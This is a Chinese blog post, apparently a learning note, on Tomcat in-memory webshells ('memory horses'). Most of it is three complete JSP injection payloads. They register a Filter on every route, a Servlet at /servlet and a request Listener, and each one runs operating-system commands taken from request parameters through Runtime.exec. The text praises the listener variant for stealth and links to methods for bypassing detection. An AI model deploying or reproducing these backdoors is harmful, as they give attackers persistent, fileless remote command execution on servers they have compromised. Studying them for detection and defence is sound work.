簡單學習java內存馬


看了雷石的內存馬深入淺出,就心血來潮看了看,由於本人java賊菜就不介紹原理了,本文有關知識都貼鏈接吧

前置知識

本次主要看的是tomcat的內存馬,所以前置知識有下列

1.tomcat結構,tomcat和idea聯動創建java_web

2.jsp簡單語法結構

3.servlet基礎

這些百度就行,不貼鏈接了,下面貼鏈接的都是,不容易百度到,或者知識體系和描述不一致的

 

內存馬基礎知識

1.內存馬能夠存在的三種形式:

https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652991099&idx=1&sn=a6c34bb344f105eb98fc6943c7439331&scene=21#wechat_redirect

2.filter型內存馬實現流程

https://mp.weixin.qq.com/s/hev4G1FivLtqKjt0VhHKmw

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "fengxuan";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                //這里寫上我們后門的主要代碼
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    /*這是linux的,我主要用的windows的
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                    */
                    String  command = req.getParameter("cmd");
                    //System.out.println(Arrays.toString(command));
                    InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
                    Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
                    String output = scanner.hasNext() ? scanner.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
                }
                //別忘記帶這個,不然的話其他的過濾器可能無法使用
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }
        };


        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());

        // 將filterDef添加到filterDefs中
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        //攔截的路由規則,/* 表示攔截任意路由
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("注入成功");
    }
%>

 

3.servlet內存馬實現流程

原理這個講的比較好:https://blog.csdn.net/angry_program/article/details/118492214

但是不得不說這里真的坑,我到寫這篇記錄都沒搞定idea調試tomcat源碼的操作

所以直接給大家源碼吧

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
    public static class servletTest extends HttpServlet {
        @Override
        public void doGet(HttpServletRequest httpRequest, HttpServletResponse httpResponse) throws ServletException, IOException {
            System.out.println("doGet被調用");
            //servletResponse.getOutputStream().write("doGet被調用".getBytes());

            if (httpRequest.getParameter("c") != null) {
                System.out.println("eval");
                //String[]  command = new String[]{"sh", "-c", request.getParameter("c")};
                String command = httpRequest.getParameter("c");
                //System.out.println(Arrays.toString(command));
                InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
                Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
                String output = scanner.hasNext() ? scanner.next() : "";
                httpResponse.getOutputStream().write(output.getBytes());
                httpResponse.getOutputStream().flush();
                //servletResponse.getWriter().write(output);
                //servletResponse.getWriter().flush();

            }
        }

        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            System.out.println("doPost被調用");
            doGet(req, resp);
        }

        @Override
        public void init() throws ServletException {
            System.out.println("servlet demo init!");
        }
    }
%>
<%
    servletTest servlet=new servletTest();
    // 一個小路徑快速獲得StandardContext,這兩種都行,這個常用一點,不過我一直沒找到request引的哪個包,坑!!!
    // Field reqF = request.getClass().getDeclaredField("request");
    // reqF.setAccessible(true);
    // Request req = (Request) reqF.get(request);
    // StandardContext stdcontext = (StandardContext) req.getContext();

    // 獲取StandardContext
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext stdcontext = (StandardContext)webappClassLoaderBase.getResources().getContext();


    org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());


    // url綁定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/servlet", name);
    System.out.print("注入成功");




%>

3.listener型內存馬(非常推薦):

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%!
    public  class listenerDemo implements ServletRequestListener{
        @Override
        public void requestDestroyed(ServletRequestEvent sre){
            System.out.println("linstener Destroyed!");
        }

        @Override
        public void requestInitialized(ServletRequestEvent sre){
            System.out.println("linstener Initialized!");
            String command = sre.getServletRequest().getParameter("fuck");
            try {
                Runtime.getRuntime().exec(command);
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
    }
%>
<%
    // 一個小路徑快速獲得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();

    listenerDemo listenerdemo = new listenerDemo();
    context.addApplicationEventListener(listenerdemo);
%>

這個listener的形式優先級最高,代碼量最小,而且由於servrlet的特性,每次都會銷毀實例,隱蔽性更高一點點

 

繞過方式

https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652991099&idx=1&sn=a6c34bb344f105eb98fc6943c7439331&scene=21#wechat_redirect

“降維打擊篇”以后部分,寫得非常好。

 

剩余問題

1.tomcat源碼在idea調試咋弄,有會的告我一下,跪求

2.其它容器中內存馬實現方式

3.反序列化實現真正的無文件形式內存馬:http://wjlshare.com/archives/1541

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM